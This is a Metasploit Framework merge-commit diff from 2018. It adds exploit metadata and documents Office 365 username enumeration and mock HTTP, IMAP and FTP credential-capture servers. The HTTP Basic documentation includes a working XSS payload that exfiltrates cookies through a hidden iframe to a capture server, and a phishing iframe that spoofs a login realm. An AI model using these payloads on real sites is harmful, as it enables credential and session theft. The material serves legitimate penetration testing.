Merge branch 'master' of https://github.com/rapid7/metasploit-framework into capture_docs2

GSoC/Meterpreter_Web_Console
h00die 2018-11-15 17:02:50 -05:00
commit 8b4cf2c3e2
28 changed files with 2178 additions and 76 deletions

View File

@ -12,6 +12,7 @@ PATH
concurrent-ruby (= 1.0.5)
dnsruby
ed25519
em-http-request
faker
filesize
jsobfu
@ -119,6 +120,7 @@ GEM
builder (3.2.3)
coderay (1.1.2)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
daemons (1.2.6)
diff-lcs (1.3)
@ -126,6 +128,14 @@ GEM
addressable (~> 2.5)
docile (1.3.1)
ed25519 (1.2.4)
em-http-request (1.1.5)
addressable (>= 2.3.4)
cookiejar (!= 0.3.1)
em-socksify (>= 0.3)
eventmachine (>= 1.0.3)
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (4.11.1)
@ -140,6 +150,7 @@ GEM
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jsobfu (0.4.2)
@ -179,7 +190,7 @@ GEM
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.4.2)
method_source (0.9.1)
method_source (0.9.2)
mini_portile2 (2.3.0)
minitest (5.11.3)
mqtt (0.5.0)
@ -211,7 +222,7 @@ GEM
activerecord (~> 4.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.12.0)
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.3)
@ -336,7 +347,7 @@ GEM
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (0.20.0)
thor (0.20.3)
thread_safe (0.3.6)
tilt (2.0.8)
timecop (0.9.1)

View File

@ -36139,7 +36139,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2018-07-25 15:13:41 +0000",
"mod_time": "2018-11-05 17:49:58 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_login",
@ -39729,7 +39729,7 @@
],
"targets": null,
"mod_time": "2018-04-20 16:34:51 +0000",
"mod_time": "2018-11-08 21:23:27 +0000",
"path": "/modules/auxiliary/server/capture/http_basic.rb",
"is_install_path": true,
"ref_name": "server/capture/http_basic",
@ -39836,7 +39836,7 @@
],
"targets": null,
"mod_time": "2018-04-20 16:34:51 +0000",
"mod_time": "2018-11-08 21:23:27 +0000",
"path": "/modules/auxiliary/server/capture/imap.rb",
"is_install_path": true,
"ref_name": "server/capture/imap",
@ -39906,7 +39906,7 @@
],
"targets": null,
"mod_time": "2018-04-20 16:34:51 +0000",
"mod_time": "2018-11-09 18:32:21 +0000",
"path": "/modules/auxiliary/server/capture/mysql.rb",
"is_install_path": true,
"ref_name": "server/capture/mysql",
@ -60652,7 +60652,7 @@
"Automatic",
"Windows Powershell"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2018-10-18 11:24:54 +0000",
"path": "/modules/exploits/multi/http/git_client_command_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/git_client_command_exec",
@ -60690,7 +60690,7 @@
"targets": [
"Automatic"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2018-10-18 11:24:54 +0000",
"path": "/modules/exploits/multi/http/git_submodule_command_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/git_submodule_command_exec",
@ -60700,6 +60700,46 @@
"notes": {
}
},
"exploit_multi/http/git_submodule_url_exec": {
"name": "Malicious Git HTTP Server For CVE-2018-17456",
"full_name": "exploit/multi/http/git_submodule_url_exec",
"rank": 600,
"disclosure_date": "2018-10-05",
"type": "exploit",
"author": [
],
"description": "This module exploits CVE-2018-17456, which affects Git\n versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.\n\n When a submodule url which starts with a dash e.g \"-u./payload\" is passed\n as an argument to git clone, the file \"payload\" inside the repository\n is executed.\n\n This module creates a fake git repository which contains a submodule\n containing the vulnerability. The vulnerability is triggered when the\n submodules are initialised (e.g git clone --recurse-submodules URL)",
"references": [
"CVE-2018-17456",
"URL-https://marc.info/?l=git&m=153875888916397&w=2",
"URL-https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6",
"URL-https://blog.github.com/2018-10-05-git-submodule-vulnerability"
],
"is_server": false,
"is_client": true,
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2018-11-14 10:57:36 +0000",
"path": "/modules/exploits/multi/http/git_submodule_url_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/git_submodule_url_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
}
},
"exploit_multi/http/gitlab_shell_exec": {
"name": "Gitlab-shell Code Execution",
"full_name": "exploit/multi/http/gitlab_shell_exec",
@ -61784,6 +61824,54 @@
"notes": {
}
},
"exploit_multi/http/jira_plugin_upload": {
"name": "Atlassian Jira Authenticated Upload Code Execution",
"full_name": "exploit/multi/http/jira_plugin_upload",
"rank": 600,
"disclosure_date": "2018-02-22",
"type": "exploit",
"author": [
"Alexander Gonzalez(dubfr33)"
],
"description": "This module can be used to execute a payload on Atlassian Jira via\n the Universal Plugin Manager(UPM). The module requires valid login\n credentials to an account that has access to the plugin manager.\n The payload is uploaded as a JAR archive containing a servlet using\n a POST request against the UPM component. The check command will\n test the validity of user supplied credentials and test for access\n to the plugin manager.",
"references": [
"URL-https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/",
"URL-https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/",
"URL-https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/"
],
"is_server": true,
"is_client": false,
"platform": "Java",
"arch": "",
"rport": 2990,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Java Universal"
],
"mod_time": "2018-11-13 15:28:55 +0000",
"path": "/modules/exploits/multi/http/jira_plugin_upload.rb",
"is_install_path": true,
"ref_name": "multi/http/jira_plugin_upload",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
}
},
"exploit_multi/http/joomla_http_header_rce": {
"name": "Joomla HTTP Header Unauthenticated Remote Code Execution",
"full_name": "exploit/multi/http/joomla_http_header_rce",

View File

@ -0,0 +1,77 @@
External python module compatible with v2 and v3.
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
Differences in the HTTP Response code and HTTP Headers can be used to differentiate between:
- Valid Username (Response code 401)
- Valid Username and Password without 2FA (Response Code 200)
- Valid Username and Password with 2FA (Response Code 403)
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
Note this behaviour appears to be limited to Office365, MS Exchange does not appear to be affected.
Microsoft Security Response Center stated on 2017-06-28 that this issue does not "meet the bar for security servicing". As such it is not expected to be fixed any time soon.
This script is maintaing the ability to run independently of MSF.
## Vulnerable Application
Office365's implementation of ActiveSync
## Verification Steps
1. Create a file containing candidate usernames (aka email addresses), one per line.
2. Do: ```use auxiliary/gather/office365userenum```
3. Do: ```set users [USER_FILE]``` with the file you created.
4. Do: ```run```
5. Valid and Invalid usernames will be printed out to the screen.
## Options
LOGFILE = Output file to use for verbose logging.
OUTPUT = Output file for results.
PASSWORD = Password to use during enumeration. Note this must exist
but does not necessarily need to be valid. If it is
found to be valid for an account it will be reported.
THREADS = Number of concurrent requests to use during enumeration.
TIMEOUT = HTTP request timeout to use during enumeration.
URL = URL of Office365 ActiveSync service.
USERS = Input fie containing candidate usernames, one per line.
VERBOSE = Enable/Disable DEBUG logging
## Scenarios
The following demonstrates basic usage, using the supplied users wordlist
and default options.
```
msf5 auxiliary(gather/office365userenum) > set users /home/msfdev/users
users => /home/msfdev/users
msf5 auxiliary(gather/office365userenum) > run
[*]
. .1111... | Title: office365userenum.py
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
.00 000... | Email: oliverm@sec-1.com
1 01.. | Description:
.. | Enumerate valid usernames from Office 365 using
.. | ActiveSync.
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
.. |
grimhacker.com .. |
@grimhacker .. |
----------------------------------------------------------------------------
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See GPLv2 License.
----------------------------------------------------------------------------
[+] 401 VALID_USER valid_username@example.com:Password1
[-] 404 INVALID_USER invalid_username@example.com:Password1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## References
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/

View File

@ -1,4 +1,4 @@
This module creates a mock FTP server which accepts and credentials before throwing a `500` error.
This module creates a mock FTP server which accepts credentials before throwing a `500` error.
## Verification Steps

View File

@ -0,0 +1,271 @@
This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/http_basic```
3. Do: ```run```
## Options
**REALM**
The Realm for the Basic Authentication, which may be displayed in the input box to the user.
Default is `Secure Site`.
Some notable Realms to emulate:
* `level_15 or view_access`
* `cPanel`
* `HuaweiHomeGateway`
* `Broadband Router`
**RedirectURL**
After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
**SSL**
Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
will be automatically generated. Default is `False`.
**SSLCert**
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
generated. Default is ``.
**URIPATH**
What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
## Scenarios
### Cisco Emulator with wget Client
Server:
```
msf5 > use auxiliary/server/capture/http_basic
msf5 auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access"
REALM => level_15 or view_access
msf5 auxiliary(server/capture/http_basic) > set uripath '/cisco'
uripath => /cisco
msf5 auxiliary(server/capture/http_basic) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/http_basic) >
[*] Using URL: http://0.0.0.0:80/cisco
[*] Local IP: http://10.1.1.1:80/cisco
[*] Server started.
[*] Sending 401 to client 127.0.0.1
[+] 127.0.0.1 - Credential collected: "cisco:cisco" => /cisco
```
Client:
```
root@kali:~# wget http://cisco:cisco@127.0.0.1:80/cisco
--2018-11-05 19:44:29-- http://cisco:*password*@127.0.0.1/cisco
Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="level_15 or view_access"
Reusing existing connection to 127.0.0.1:80.
HTTP request sent, awaiting response... 404 Not Found
2018-11-05 19:44:29 ERROR 404: Not Found.
```
### HTTPS with Self-Signed Certificate and curl Client
Server:
```
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
Generating a RSA private key
............+++++
.+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
msf5 > cat key.pem certificate.pem > selfsigned.pem
[*] exec: cat key.pem certificate.pem > selfsigned.pem
msf5 > cat /root/metasploit-framework/selfsigned.pem
[*] exec: cat /root/metasploit-framework/selfsigned.pem
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmniuSmx1h57hK
XxBCfCOfsfJatMEtsrTHFCC0GDvIIHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0
SZlF6BRc0GELAC7qPa9VJ8HPYYVbO/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36
ypHiZ3LIbaz8VuAUyIU5Qa6G+TNvwClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HA
eN29IJyoiXH+GEjw7wBbm9dkbU1DI71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU
5hB6jGpc9N7rMYqV82mLogsXGaRDWh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62
ct4DtCrNAgMBAAECggEAJ8ZohnYLHJ0xjGeHPSffZTcYsPiniR45M7ElYXjLhKni
GDHPy4Jnu8UShF2AH7Nlz8A5It8LpBRDbQZI1bxiaAnCsNqZWIfjPEPia3xPVolI
uBztiENCCoXAKLq142dFyrePdexVxo46Td1f2Blz+E7eVdrzYWLBEvsQC96fndRx
8j6KT17tIhGz+9+87dwVUXiiBZTzeWRf94jofek3XWADlu6QjAd3qW944ljYyB7p
+cJGwod5xFUxRdAr12RN+VIuzyP6xUXkfBQImdT3E0nR8LWwb4FcjwrCtCNEEYqU
/CEBx8rm0qt7mBLiIjTq5+clfKKbd1XOXmGn7+7A7QKBgQDdoJl7NBcpBtLMC1kY
KK78kar+nWS5am9H/3o76+sRmQGOCjRg9TyQBmqGkxb7en/m/xZzmS0QxbLCbChj
nOgFn9owQKQ4a2FPiNHQ1BQ7F44E+B4j+1auS7VnpbzhPgyOwmZcDoRn5h+FeNwW
Xma/o+a78rp53eTzG9Hy8lFMwwKBgQDAdX8h8Us1d34a/GuFljUBe5iJNo1giqgq
X8R2BCshvQWoT2wz3YX4FRBKMZKdfwLfbRxK1bzW7BinpgoNR6NV0lor75BgQiCJ
nztUMCfDAkxwCgXZjR20OS106G/SRjRgLtYkdDhmfynyy2MSAKhmVaLxBa57VlXD
ZE2G4jdxLwKBgQCu1oReGnDu77AaQhWOJoItQ+lmpdoRH/McFGJkpS+zmUYNvOUn
XC/j2vvsoFswFqqSG8ild0CDC8OC93pBY0XzMfEZwdULoUKKUQBcwwIWv/VM3ERC
1IPESnuYgbpo4t9bO+cuVlGD+ZoCXJ8bkmtyYaWjvc/4VeHJG7hb9WfHqwKBgAe5
L17nVgNRRkhC9PWpb3sdwKNRAx9qsRDyQuoRhMGX2lBEz6zNKQEppzuy/ZVAcZcR
w97k8O0XEG455ZFe3JknFeNJe9vBC5k6QKFCRXY382VToaR3W0fOO5rDcSlZE+UA
PCu+Vj0WwVIzA0jHqfphWWaeub/NWSe8MLhG/76VAoGBALTnftXB/b45xkgNEIZ3
7WOsfvGo23tlXSQdCNNOn6YKptqYX88jeihcKEvGoIBH+LfV/GfD2P1d227kHyBZ
FoZ+2dUwVXO2UP5j3WlxBleOqk0rTbIri/Pj4oCajAR4pXDIviUD+bUFojyFaysj
It3LYabipjgG3NjDxYBMyJnt
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDazCCAlOgAwIBAgIUXlRMetgIkrPIiamQGIBKbcEuT1IwDQYJKoZIhvcNAQEL
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDYwMDQ2NDFaFw0xOTEx
MDYwMDQ2NDFaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQCmniuSmx1h57hKXxBCfCOfsfJatMEtsrTHFCC0GDvI
IHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0SZlF6BRc0GELAC7qPa9VJ8HPYYVb
O/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36ypHiZ3LIbaz8VuAUyIU5Qa6G+TNv
wClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HAeN29IJyoiXH+GEjw7wBbm9dkbU1D
I71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU5hB6jGpc9N7rMYqV82mLogsXGaRD
Wh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62ct4DtCrNAgMBAAGjUzBRMB0GA1Ud
DgQWBBR+MfL8LopA4OaIRLGK1gof3u+PIDAfBgNVHSMEGDAWgBR+MfL8LopA4OaI
RLGK1gof3u+PIDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBe
IGmZr3wlO32b25qj/4qB7ewukwF6uaS4OQh4VLlUk8uYsqoGfvehAaNNJsu1oKO5
XpShHeyEkpwzgx0mdCmQSB3JKseFYuZTgP9GP00EXuHYl2V+quPFN17fq0AgYN6K
TFDwzYbhWyFGz7k++i23w0/dwvL2dLH+bgdHYU49rhlZIAu7PgbyIuhP+M2ltcjt
NDO8po38u2ba52E56abfg0ZlFBqsua2s1TPHIyQ9iovTPMg1E5UTTGebaN6/BaMh
Oj6N43ld9EONST6BhP3v1buoWHi1FMouocrUkUDuahiHoLlK4ERSUrb4uNnwko24
WdNCCmA8APA1qf2BYVqs
-----END CERTIFICATE-----
msf5 > use auxiliary/server/capture/http_basic
msf5 auxiliary(server/capture/http_basic) > set ssl true
ssl => true
msf5 auxiliary(server/capture/http_basic) > set srvport 443
srvport => 443
msf5 auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem
sslcert => /root/metasploit-framework/selfsigned.pem
msf5 auxiliary(server/capture/http_basic) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/http_basic) >
[*] Using URL: https://0.0.0.0:443/4w0tML
[*] Local IP: https://192.168.2.117:443/4w0tML
[*] Server started.
[+] 127.0.0.1 - Credential collected: "admin:password123" => /4w0tML
```
Clients:
```
root@kali:~# curl -k --user admin:password123 https://127.0.0.1/4w0tML
&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
&lt;html>&lt;head>
&lt;title>404 Not Found&lt;/title>
&lt;/head>&lt;body>
&lt;h1>Not Found&lt;/h1>
&lt;p>The requested URL was not found on this server.&lt;/p>
&lt;hr>
&lt;address>Apache/2.2.9 (Unix) Server at Port 443&lt;/address>
&lt;/body>&lt;/html>
```
### HTML Injection Social Engineering
In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
set to the website, which will hopefully trick a user into entering their credentials.
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
The HTML was simply edited in the local browser.**
HTML Payload Injected:
```html
&lt;iframe width="0" height="0" src="http://127.0.0.1/">&lt;/iframe>
```
Server:
```
msf5 > use auxiliary/server/capture/http_basic
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
uripath => /
msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
REALM => Wordpress.com Login
msf5 auxiliary(server/capture/http_basic) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/http_basic) >
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.2.117:80/
[*] Server started.
[*] Sending 401 to client 127.0.0.1
[+] 127.0.0.1 - Credential collected: "metasploit_blog:ms08-0sK1NG!" => /
```
Client:
![Injected Payload](https://user-images.githubusercontent.com/752491/48039039-326e1880-e141-11e8-9971-d9c88081d0df.png)
### XSS Cookie Theft
In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
that will silently attempt a login to our basic authentication website.
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
The HTML was simply edited in the local browser.**
Payload:
```html
&lt;script>
var cookie = document.cookie;
var username = $('#username').text();
document.write('&lt;iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/">&lt;/iframe>');
&lt;/script>
```
Sever:
```
msf5 > use auxiliary/server/capture/http_basic
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
uripath => /
msf5 auxiliary(server/capture/http_basic) > set REALM "Login"
REALM => Login
msf5 auxiliary(server/capture/http_basic) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/http_basic) >
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.2.117:80/
[*] Server started.
[*] Sending 401 to client 127.0.0.1
[+] 127.0.0.1 - Credential collected: "h00die:R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy" => /
```
Decoding the cookie:
```
msf5 auxiliary(server/capture/http_basic) > irb
[*] Starting IRB shell...
[*] You are in auxiliary/server/capture/http_basic
>> Base64.decode64('R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy')
=> "GUC=AQEBAAFbqSFcj0IeBARn&s=AQADAERaieCx&g=W2fb9Q; ucs=lnct=1537714242; cmp=t=1247468145&j=0; flash_enabled=0; apeaf=td-applet-stream=%7B%22tmpl%22%3A%22items%22%2C%22lv%22%3A1541470698788%7D; HP=1; B=c7koa55d69tbs&b=3&s=5r"
```

View File

@ -0,0 +1,174 @@
This module creates a mock IMAP server which accepts credentials.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/imap```
3. Do: ```run```
## Options
**BANNER**
The Banner which should be displayed. Default is `IMAP4`.
Some notable banners to emulate:
* `Dovecot ready.`
* `IMAP 4 Server (IMail 9.23)`
* `mailserver Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready`
* `Welcome to Binc IMAP v1.3.4 Copyright (C) 2002-2005 Andreas Aardal Hanssen at 2018-11-08 11:17:35 +1100`
* `The Microsoft Exchange IMAP4 service is ready.`
* `Microsoft Exchange Server 2003 IMAP4rev1 server versino 6.5.7638.1 (domain.local) ready.`
**SSL**
Boolean if SSL should be used, making this Secure IMAP. Secure IMAP is typically run on port 993. If `SSLCert` is not set, a certificate
will be automatically generated. Default is `False`.
**SSLCert**
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
generated. Default is ``.
## Scenarios
### IMAP Emulating Microsoft Exchange with Telnet Client
Server:
```
msf5 > use auxiliary/server/capture/imap
msf5 auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready."
banner => The Microsoft Exchange IMAP4 service is ready.
msf5 auxiliary(server/capture/imap) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/imap) >
[*] Started service listener on 0.0.0.0:143
[*] Server started.
[*] IMAP LOGIN 127.0.0.1:42972 metasploit@documentation.com / rapid7#1
```
Client:
```
root@kali:~# telnet 127.0.0.1 143
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
* OK The Microsoft Exchange IMAP4 service is ready.
01 LOGIN metasploit@documentation.com rapid7#1
quit
Connection closed by foreign host.
```
### Secure IMAP with Self-Signed Certificate and Alpine client
Server:
```
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
Generating a RSA private key
.................................................................................................+++++
...................+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
msf5 > cat key.pem certificate.pem > selfsigned.pem
[*] exec: cat key.pem certificate.pem > selfsigned.pem
msf5 > cat /root/metasploit-framework/selfsigned.pem
[*] exec: cat /root/metasploit-framework/selfsigned.pem
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDAXME8r2vEUH7B
Kelkt9iC4tTozOq0wJAjsACLCDcNoD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2ud
USBpOo8h9FEGtRrAAeSl7Z3XaBnuB7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddia
PEkE5G3jaCwOIqHk+c8Qk5b43HQbkj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5H
QhX7MYVNge8lQL/xJnBrjMDqIQqc41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+Qe
DVKtz8ZChLSqSwmz/5yFttRyZlDuXA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GY
pdMpLh7/AgMBAAECggEBALCtQKpdMCzqBdGijgP8u3ZToluDwlprtregco8/51iz
gf0VMXqsg8k96dc3laZyEKNackSlqfxf6npeRdeAenAkNrtjYYNS+c/Qs7Vhntc5
6w6euJHG6g9+9E2LvIMarolx7LvAMbFXwq6+ig5dQ/Sm/DerZWiqbJ18ASDnUhjz
G1Y8/Idy4WutPZD/0JEQ+5VnHb+Mt3a7yYKhDsmUEzVh5xoWJab9dwfwCnoOb32T
oLOLLsqUbAK8ZiQ4MwkbGJ5kw8H24wVmI+7BbuRacW2tIIt6Z+vEoLdof0TsuJWo
87ZbCYYeTysIgBIdLNRiGGxz43SOqBBGh8sreyyACdECgYEA6Ubs1Klw3TViABke
1JqkWelZi6mtsyUHJt/eChjMzgg5vGVuYB/sCc+BObjETbfnvuV0Ub4cxbUCF3wL
qvrJNTd+yU7JJ7IP63B2lS3aNlAsLRb59SkjDYyym1OeUAHKkGp8oICSq96X3Xtu
KUZnDdh2UuoMzmEoAHoDoc+SC/cCgYEA0xmQ+qDJ4l3JRH/IPMPe9XD90WFJFhvF
GzGSM8qqpg6N2xhlzQiM6+I4EEh9iNnCOYmvw9leGNRpIjFjAhv5ntlG3LudAEpd
Ml/hhrfRB7KOopiqzK7oVCUv5f5rmvYdL4c2FC+VGxnhWUP6MARUHag/1DgszMs7
wSlwcbKi8zkCgYBMvRc1khPdwSze6WSZ/dEo/rmFVykb8Idcw3Iwkh31fQE5N4jK
uFWWmJtjGKQDCQeEZckRBuBCLZxli1nvQhakmf/sSy2jEFFqWxG3W2EYUuFlZ9SM
UJ8GWw16SVSf7ybqwQ0EY6dcQJpmsq73hwBprpamCfZygcV9+qVtOnJJ2wKBgBKY
ZPH+6em70zfqfawEoQZD3sfr5vFAnvtHQZa4WpHoJEzReF44S5mXwtKEYDKG5BoH
a+k3o5dSVrSBXzRXXITGpPxatnjJFC6UzZv9YzdnXjMqeZkwKx0GbZK396id13JR
Wc0rZ9oMTJJ9b3N9Xh+Cq6S5EhE0Md5RFSuezcXZAoGBAJOMfjbwobOCYm6K8PyV
p89gbnDOj7FHCg2JPa9/dii6pBRHXeUfORp00GfN0oAjjJo14SmOw58zh1mF1VcA
BQhTK9TO4GXIEZDiYt9EmiH1VO58I8vUecBcbelirumGOP+dBiBy/C8YzFJRhAis
eAGSi8F+qcJaS3VDRGEC9zcK
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDazCCAlOgAwIBAgIUMlkpAG2tXodgLSrIf/xOuA9z8PwwDQYJKoZIhvcNAQEL
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDkwMTI3MTRaFw0xOTEx
MDkwMTI3MTRaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQDAXME8r2vEUH7BKelkt9iC4tTozOq0wJAjsACLCDcN
oD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2udUSBpOo8h9FEGtRrAAeSl7Z3XaBnu
B7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddiaPEkE5G3jaCwOIqHk+c8Qk5b43HQb
kj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5HQhX7MYVNge8lQL/xJnBrjMDqIQqc
